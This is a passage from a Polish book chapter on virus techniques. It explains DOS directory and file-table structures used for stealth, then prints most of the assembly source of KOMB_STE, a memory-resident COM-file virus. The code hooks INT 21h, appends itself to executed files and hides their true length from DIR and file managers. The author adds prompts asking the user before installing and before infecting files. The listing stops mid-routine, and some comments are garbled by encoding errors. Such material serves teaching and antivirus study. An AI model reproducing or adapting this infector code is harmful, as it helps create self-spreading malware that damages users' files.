1A-1B numer pierwszej JAP pliku

1C-1D określa numer rekordu w dostępie dzielonym

1E atrybuty pliku

1F nie używane wartość

10

1A-1B uchwyt w sieci

1C-1F ID w sieci wartość

01

1A-1D wskaźnik do nagfówka sterownika

1E-1F nie używane

wartość 00

1A bajt informacyjny

bit 7: atrybut tytko do odczytu w SFT

bit 6: atrybut archiwalności w SFT

bity 5-0: wyższe bity numeru sektora

1B-1C numer pierwszej JAP pliku

1D-1F niższe bity sektora zawierającego adres w katalogu

1F ilość pozycji katalogu w sektorze

20

bieżący rekord

21-24

numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, bardziej znacząca część jest pomijana

Struktura bloku opisu pliku FCB (rozszerzonego)

Adres

Zawartość

00

wartość OFFh oznacza blok rozszerzony

01-05

zarezerwowane

06

atrybuty pliku

07-2B

zwykły blok opisu FCB (patrz poprzednia tabela)


Struktura pola opisu pozycji katalogu

Adres

Zawartość

00-07

nazwa pliku

08-0A

rozszerzenie pliku

0B

atrybuty pliku

0C-15

zarezerwowane

16-17

czas ostatniej modyfikacji pliku

18-19

data ostatniej modyfikacji pliku

1A-1B

numer pierwszej JAP

1C-1F

długość pliku


7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1)

Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.

Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-1D) oraz czas i data (adresy 16-17 i 18-19).

Struktura DTA

Adres

Zawartość

00

znaczenie bitów:

bity 6-0 numer napędu

bit 7 ustawiony, oznacza plik zdalny

01-0B

szablon poszukiwanych pozycji katalogu

0C

atrybuty poszukiwanej pozycji

0D-0E

numer wejścia w katalogu

0F-10

numer JAP katalogu nadrzędnego

11-14

zarezerwowane

15

atrybut znalezionej pozycji katalogu

16-17

czas ostatniej modyfikacji znalezionej pozycji katalogu

18-19

data ostatniej modyfikacji znalezionej pozycji katalogu

1A-1D

długość znalezionej pozycji katalogu

1E-2A

nazwa i rozszerzenie pliku


7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS

Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows oraz gdy zainstalowany jest tzw. Menedżer IFS.

Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-DOS (w systemie Windows 95).

Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla systemu DOS.

Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta większość programów działających w systemie Windows 95, m.in. Explorator, a także różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, czy rzeczywiście jest on właściwy.

Opis struktury FindData zamieszczono poniżej.

Struktura FindData

Adres

Zawartość

00-03

atrybuty pliku

bity 0-6 standardowe atrybuty plików DOS

bit 8 plik tymczasowy (temporary)

04-0B

czas i data utworzenia pliku

0C-13

czas i data ostatniego dostępu do pliku

14-1B

czas i data ostatniej modyfikacji pliku

1C-1F

długość pliku (bardziej znaczące 32 bity)

20-23

długość pliku (mniej znaczące 32 bity)

24-2B

zarezerwowane

2C-12F

260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ)

130-13D

14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ)


7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)

Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.

Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem (klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.

Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na końcu pliku wirusa.

Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej dany plik. Używa się do tego poniższej sekwencji:

; Uzyskiwanie informacji o pliku na podstawie jego uchwytu

MOV AX,1220h ; weƒ adres tablicy JFT zawieraj╣cej numer SFT,

; opisuj╣cej plik podany w BX

MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku

INT 2Fh ; wywo│aj funkcjÛ

MOV BL,ES:[DI] ; weƒ numer tablicy SFT

MOV AX,1216h ; weƒ adres tablicy SFT na podstawie numeru w BL

INT 2Fh ; wywo│aj funkcjÛ ES:DI wskazuje na tablicÛ SFT pliku


Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy SFT podano poniżej:

Format podtablicy SFT

Adres

Zawartość

00-03

Wskaźnik do następnej podtablicy

04

N - liczba plików w podtablicy

06-40



Opis pliku nr 1 w podtablicy - patrz następna tablica


Opis pliku nr N w podtablicy

Opis pliku zawarty w tablicy SFT

Adres

Zawartość

00-01

Liczba łączników do pliku

02-03

Tryb

04

Atrybut pliku

05-06

Informacja o pliku

07-0A

Wskaźnik do nagłówka programu obsługi lub do bloku DPB

0B-0C

Pierwsza JAP pliku

0D-0E

Czas ostatniej modyfikacji pliku

0F-11

Data ostatniej modyfikacji pliku

11-14

Rozmiar pliku

15-18

Aktualna pozycja wskaźnika odczytu/zapisu pliku

19-1A

Względny numer JAP

1B-1E

Położenie elementu katalogu opisującego plik

20-2A

Nazwa i rozszerzenie pliku

2B-2E

Wskaźnik do poprzedniego elementu SFT (pole programu SHARE)

2F-30

Numer komputera w sieci (pole programu SHARE)

31-32

Adres właściciela pliku (jego PSP)

33-34

Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu SHARE)

35-36

Numer JAP

37-3A

Wskaźnik do IFS pliku lub 00000000h


Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ;

; ;

;----------------------------------------------------------------------------;

; Informacje Techniczne ;

;----------------------------------------------------------------------------;

; ;

; Wirus oszukuje uzytkownika w nastepujacy sposob : ;

; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;

; pomoca polecenia DIR ;

; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;

; pomoca nakladek typu Dos Navigator, Norton Commander ;

; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ;

; (plik jest sztucznie "ucinany" w tablicy SFT ) ;

; ;

; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ;

; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ;

; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ;

; informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;

; zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ;

; iz wirus jest juz zainstalowany w pamieci. ;

; ;

; Kompilacja : ;

; TASM KOMB_STE.ASM ;

; TLINK /t KOMB_STE.OB J ;

; ;

;----------------------------------------------------------------------------;

JUMPS

KOMB_STE SEGMENT

ASSUME CS:KOMB_STE, DS:KOMB_STE

ORG 100h


Haslo = 0BACAh ; \ do sprawdzenia czy wirus jest

Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci


NUL = 00h ; \

LF = 0Ah ; - stale znakow

CR = 0Dh ; /


AtrReadOnly = 00000001b ; \

AtrHidden = 00000010b ; \

AtrSystem = 00000100b ; \ rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /


DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywana przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc struktury

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends


DIRStruc struc

DIRDrv db ? ; numer napedu

DIRName db 8 dup(?) ; nazwa znalezionej pozycji

DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji

DIRAttr db ? ; atrybut znalezionej pozycji

DIRRes db 10 dup(?) ; zarezerwowane

DIRTime dw ? ; czas znalezionej pozycji

DIRDate dw ? ; data znalezionej pozycji

DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji

DIRSize dd ? ; dlugosc znalezionej pozycji

DIRStruc ends


SFTStruc struc

SFTCntHnd dw ? ; ile uchwytow do pliku

SFTOpMode dw ? ; tryb otwarcia pliku

SFTAttr db ? ; atrybut pliku

SFTDevAttr dw ? ; informacja o urzadzeniu

SFTDevPtr dd ? ; adres do naglowka sterownika

; lub do DPB

SFTStartJAP dw ? ; poczatkowa JAP pliku

SFTTime dw ? ; czas pliku

SFTDate dw ? ; data pliku

SFTSize dd ? ; dlugosc znalezionej pozycji

SFTPos dd ? ; wskaznik odczytu/zapisu

SFTRes db 7 dup(?) ; pola nieistotne

SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku

SFTStruc ends


VRok = 1998 ; \ data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /


VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien


DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)

DlugoscWPamieci = (DlugoscWirusa +31)/16


Start: ; poczatek wirusa


PoczatekWirusa: ; pomocnicza etykieta


Call Trik ; zapisz na stosie relatywny ofset

Trik:


pop si ; zdejmij ze stosu relatywny ofset

sub si,103h ; oblicz ofset do poczatku wirusa


mov ax,Haslo ; \ sprawdz, czy wirus jest

int 21h ; / juz w pamieci


cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?

jne InstalacjaWPamieci ; / NIE - zainstaluj

; TAK - wypisz komunikat

lea di,TeBylZainstalowany ; /

call DrukSI ; /

jmp PowrocDoNosiciela ; i powroc do nosiciela


InstalacjaWPamieci: ; poczatek instalacji


lea di,TeCopyRight ; \ wyswietl info o wirusie

Call DrukSI ; /


lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce

Call DrukSI ; \ zainstalowac wirusa w pamieci

Call Decyzja ; /

jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac


mov ax,3521h ; funkcja DOS - wez adres INT 21

int 21h ; wywolaj funkcje


mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go

mov [si][Stare21Ofs],bx ; / uzywal)


mov ax,ds ; przywroc ES

mov es,ax ; AX=ES=DS=CS=SS=PSP


dec ax ; AX=ES-1=MCB aktualnego bloku pamieci

mov ds,ax ; DS=blok MCB aktualnego bloku pamieci

mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci

sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa


mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci

int 21h ; wywolaj funkcje


mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci

mov ah,48h ; funkcja DOS - przydzial bloku

int 21h ; wywolaj funkcje

jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic


mov es,ax ; ES=wskazuje na przydzielony blok

xor di,di ; ES:DI - dokad skopiowac

cld ; zwiekszaj SI, DI w REP MOVSB


push si ; SI bedzie zmieniany wiec zachowaj

add si,offset PoczatekWirusa ; dodaj skad kopiowac

mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac

rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow

pop si ; przywroc relatywny ofset


mov ax,es ; pobierz adres do MCB opisujacego

dec ax ; blok, w ktorym jest wirus

mov ds,ax ; DS=MCB wirusa

mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy

sub ax,0Fh ; \ DS=adres bloku-10h

mov ds,ax ; \ sztuczka, dzieki ktorej mozna

; / odwolywac sie do danych jak w

; / zwyklym programie COM (ORG 100h)


mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h

mov ax,25FFh ; funkcja DOS - ustaw adres INT 21

int 21h ; wywolaj funkcje


push cs ; \ wyswietl komunikat o

pop ds ; \ instalacji w pamieci

lea di,TeZainstalowany ; \ i segment, w ktorym

Call DrukSI ; / rezyduje wirus

mov ax,es ; /

Call DrukHEX16 ; /


PowrocDoNosiciela: ;

push cs cs ; \ przywroc DS=ES=CS=PSP

pop ds es ; /


mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty

mov ds:[100h],al ; \ programu pod adresem CS:100h

mov ax,word ptr [si][StareBajty+1] ; /

mov ds:[101h],ax ; /


mov ax,100h ; \ zachowaj na stosie slad do

push ax ; / adresu 100h


xor ax,ax ; \ dla bezpieczenstwa

xor bx,bx ; \ lepiej wyzerowac rejestry

xor cx,cx ; \ robocze

xor dx,dx ; /

xor si,si ; /

xor di,di ; /


ret ; powroc do nosiciela


PytanieOInstalacje: ; \ odpowiedz rezydujacego

xchg al,ah ; - wirusa (na pytanie czy jest

iret ; / w pamieci)


NoweInt21:

cmp ax,4B00h ; czy funkcja DOS - uruchom program ?

je InfekcjaPliku ; TAK - sprobuj infekowac

cmp ax,Haslo ; czy pytanie wirusa o instalacje ?

je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany


cmp ah,11h ; \ czy funkcje przeszukiwania ?

je STEALTH_11_12 ; \ katalogu uzywane przez

cmp ah,12h ; / polecenie DIR ?

je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba


cmp ah,4Eh ; \ czy funkcje przeszukiwania ?

je STEALTH_4E_4F ; \ katalogu uzywane przez

cmp ah,4Fh ; / nakladki ?

je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba


cmp ah,3Dh

je STEALTH_3D


jmp PowrotZInt21 ; idz do poprzedniego lancucha

; przerwan


STEALTH_3D:

call UstawNowe24 ; ustaw obsluge bledow krytycznych


Call StareInt21 ; wywolaj stare przerwanie 21h

jc STEALTH_3D_Powrot2 ; CF=1 to blad


pushf ; \ zachowaj wartosci rejestrow

push es ax bx di ; / zmienionych przez wywolanie


mov bx,ax ; BX zawiera uchwyt (numer) pliku

mov ax,1220h ; wez adres tablicy JFT

int 2Fh ; wywolaj funkcje

jc STEALTH_3D_Powrot ; CF=1 Blad


mov bl,es:[di] ; wez numer tablicy SFT

mov bh,0 ; BX=BL

mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL

int 2Fh ; wywolaj funkcje

jc STEALTH_3D_Powrot ; CF=1 Blad


cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest

; zainfekowana ?

jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne


cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ?

jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany


cmp word ptr es:[di][SFTSize],DlugoscWirusa

jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus

; TAK - moze byc zainfekowany

; NIE - STEALTH niepotrzebne

MozeMiecWirusa_3D:

sub word ptr es:[di][SFTSize],DlugoscWirusa

; odejmij dlugosc wirusa

sbb word ptr es:[di][SFTSize+2],0

; uwzglednij ewent. pozyczke

; z bardziej znaczacej czesci

STEALTH_3D_Powrot:


pop di bx ax es ; \ przywroc odpowiednie wartosci

popf ; / rejestrow


STEALTH_3D_Powrot2:


Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych


retf 2 ; powrot z zachowaniem ustawionych znacznikow


; ES:DI wskazuje na tablicÓ SFT pliku

STEALTH_11_12:

call UstawNowe24 ; ustaw obsluge bledow krytycznych


Call StareInt21 ; wywolaj stare przerwanie 21h

or al,al ; CZY AL=0

jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad


pushf ; \ zachowaj wartosci rejestrow

push es ax bx ; / zmienionych przez wywolanie


mov ah,2Fh ; funkcja DOS - wez adres do DTA

Call StareInt21 ; wywolaj stare przerwanie 21h


cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ?

jne ZwyklyFCB ; NIE - zwykly FCB


add bx,7 ; dodaj przesuniecie

; teraz ES:BX=wskazuje na zwykly FCB

ZwyklyFCB:


cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest

; zainfekowana ?

jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne


cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?

jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany


cmp word ptr es:[bx][DTASize],DlugoscWirusa

jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa

; TAK - moze miec wirusa

; NIE - STEALTH niepotrzebne

MozeMiecWirusa_11_12:

sub word ptr es:[bx][DTASize],DlugoscWirusa

; odejmij dlugosc wirusa

sbb word ptr es:[bx][DTASize+2],0

; uwzglednij ewent. pozyczke

; z bardziej znaczacej czesci

STEALTH_11_12_Powrot:


pop bx ax es ; \ przywroc odpowiednie wartosci

popf ; / rejestrow


STEALTH_11_12_Powrot2:


Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych


retf 2 ; powrot z zachowaniem ustawionych znacznikow


STEALTH_4E_4F:

call UstawNowe24 ; ustaw obsluge bledow krytycznych


Call StareInt21 ; wywolaj stare przerwanie 21h

jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad


pushf ; \ zachowaj wartosci rejestrow

push es ax bx ; / zmienionych przez wywolanie


mov ah,2Fh ; funkcja DOS - wez adres do DTA

Call StareInt21 ; wywolaj stare przerwanie 21h


cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest

; zainfekowana ?

jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne


cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?

jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany


cmp word ptr es:[bx][DTASize],DlugoscWirusa

jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa

; TAK - moze byc zainfekowany

; NIE - STEALTH niepotrzebne

MozeMiecWirusa_4E_4F:

sub word ptr es:[bx][DTASize],DlugoscWirusa

; odejmij dlugosc wirusa

sbb word ptr es:[bx][DTASize+2],0

; uwzglednij ewent. pozyczke

; z bardziej znaczacej czesci

STEALTH_4E_4F_Powrot:


pop bx ax es ; \ przywroc odpowiednie wartosci

popf ; / rejestrow


STEALTH_4E_4F_Powrot2:


Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych


retf 2 ; powrot z zachowaniem ustawionych znacznikow


InfekcjaPliku:

push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry


mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku

mov cs:StaryDX, dx ; /


call UstawNowe24


mov ax,4300h ; funkcja DOS - czytaj atrybut

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut ; CF=1 blad wiec powrot


mov cs:Atrybut,cl ; wez stary atrybut


mov ax,4301h ; funkcja DOS - zapisz atrybut

mov cx,AtrArchive ; podaj nowy atrybut : Archive

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut


mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut ; gdy CF=1, to blad


xchg ax,bx ; przenies uchwyt pliku do BX


mov ax,5700h ; funkcja DOS - wpisz date, czas

Call StareInt21 ; wywolaj stare przerwanie 21h

mov cs:Czas,cx ; zachowaj czas pliku na pozniej


cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?

je ZamknijPlik ; TAK - zamknij plik, powrot


push cs ; \ DS=CS=segment wirusa

pop ds ; /


mov cx,3 ; ilosc czytanych bajtow

lea dx,StareBajty ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku

cmp ax,'MZ' ; i sprawdz, czy to nie EXE

je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot

cmp ax,'ZM' ;

je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


; DX = starsza czesc dlugosci pliku

or dx,dx ; czy plik krotszy niz 65536 ?

jnz ZamknijPlik ; NIE - nie infekuj


cmp ax,64000 ; czy dlugosc <= 64000 ?

ja ZamknijPlik ; NIE - nie infekuj


cmp ax,3 ; czy dlugosc >= 3 ?

jb ZamknijPlik ; NIE - nie infekuj


sub ax,3 ; odejmij dlugosc skoku E9 ?? ??

mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku


lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika

Call Druk ; \ czy chce zainfekowac

; \ plik

mov di,cs:StaryDX ; \ nazwa pliku jest

mov ds,cs:StaryDS ; \ wyswietlana

Call Druk ; \

; - (dzieki temu uzytkownik

push cs ; / ma pelna kontrole nad

pop ds ; / tym co wirus infekuje)

lea di,TeInfekcja ; /

Call Druk ; /

Call Decyzja ; /

jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala


mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow

mov dx,100h ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1 to blad


mov cx,3 ; ilosc zapisywanych bajtow

lea dx,Skok ; podaj skad zapisac rozkaz skoku

mov ah,30h ; funkcja DOS - zapisz do pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,Czas ; przywroc czas

mov dx,VZnacznik ; zaznacz w dacie infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

Call StareInt21 ; wywolaj stare przerwanie 21h


ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

Call StareInt21 ; wywolaj stare przerwanie 21h


PrzywrocAtrybut:

mov cl,cs:Atrybut ; podaj stary atrybut

mov ch,0 ; CX=CL

mov dx,cs:StaryDX ; \ podaj nazwe pliku do zmiany

mov ds,cs:StaryDS ; / w DS:DX

mov ax,4301h ; funkcja DOS - zmien atrybut

Call StareInt21 ; wywolaj stare przerwanie 21h


Call PrzywrocStare24


pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry


PowrotZInt21:

db 0EAh ; mnemonik rozkazu skoku JMP FAR

Stare21Ofs dw ? ; z tych pol korzysta skok

Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego

; elementu lancucha przerwan INT 21


StareInt21:

pushf ; \ symuluj wywolanie przerwania

Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie


ret ; powroc z wywolania


UstawNowe24:

push ds es ax bx dx ; zachowaj zmieniane rejestry


mov ax,3524h ; \ pobierz stara i ustaw

Call StareInt21 ; \ nowa procedure obslugi

mov cs:Stare24Seg,es ; \ przerwania krytycznego

mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony

; \ przed ewentulanymi bledami

push cs ; / (np; podczas proby zapisu

pop ds ; / na zabezpieczona przed

lea dx,NoweInt24 ; / zapisem dyskietce nie

mov ax,2524h ; / zostanie wywolany dialog

Call StareInt21 ; / ARIF)


pop dx bx ax es ds ; przywroc zmieniane rejestry


ret ; powroc z wywolania



PrzywrocStare24:

push ds ax dx ; zachowaj zmieniane rejestry


lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie

mov ax,2524h ; - INT 24

Call StareInt21 ; /


pop dx ax ds ; przywroc zmieniane rejestry


ret


DrukSI: ; procedura wyswietla tekst z

; CS:[DI+SI]

add di,si ; tekst w DI, dodaj SI

Druk: ; procedura wyswietla tekst z

; CS:[DI]

push ax di ; zachowaj zmieniane rejestry


DrukPetla:

mov al,[di] ; pobierz znak

or al,al ; czy koniec tekstu (znak=NUL) ?

jz DrukPowrot ; TAK - koncz pisanie


mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje


inc di ; zwieksz indeks (na nastepny znak)


jmp short DrukPetla ; idz po nastepny znak


DrukPowrot:

pop di ax ; przywroc zmieniane rejestry


ret ; powrot


DrukHEX16: ; drukuje liczbe heksalna z AX

push ax ; zachowaj AX (dokladniej AL)

mov al,ah ; najpierw starsza czesc

Call DrukHex8 ; wyswietl AH

pop ax ; przywroc AX (dokladniej AL)

; i wyswietl AL

DrukHex8: ; drukuje liczbe heksalna z AL

push ax ; zachowaj AX (dokladniej 4 bity AL)

shr al,1 ; \

shr al,1 ; \ podziel AL przez 16

shr al,1 ; / czyli wez 4 starsze bity AL

shr al,1 ; /

Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej

pop ax ; przywroc AX (dokladniej 4 bity AL)

and al,15 ; wez 4 mlodsze bity AL

; i wydrukuj czesc liczby szesnastkowej

DrukHex4:

cmp al,10 ; \ konwersja liczby binarnej

jb Cyfra09 ; \ na znak

add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na

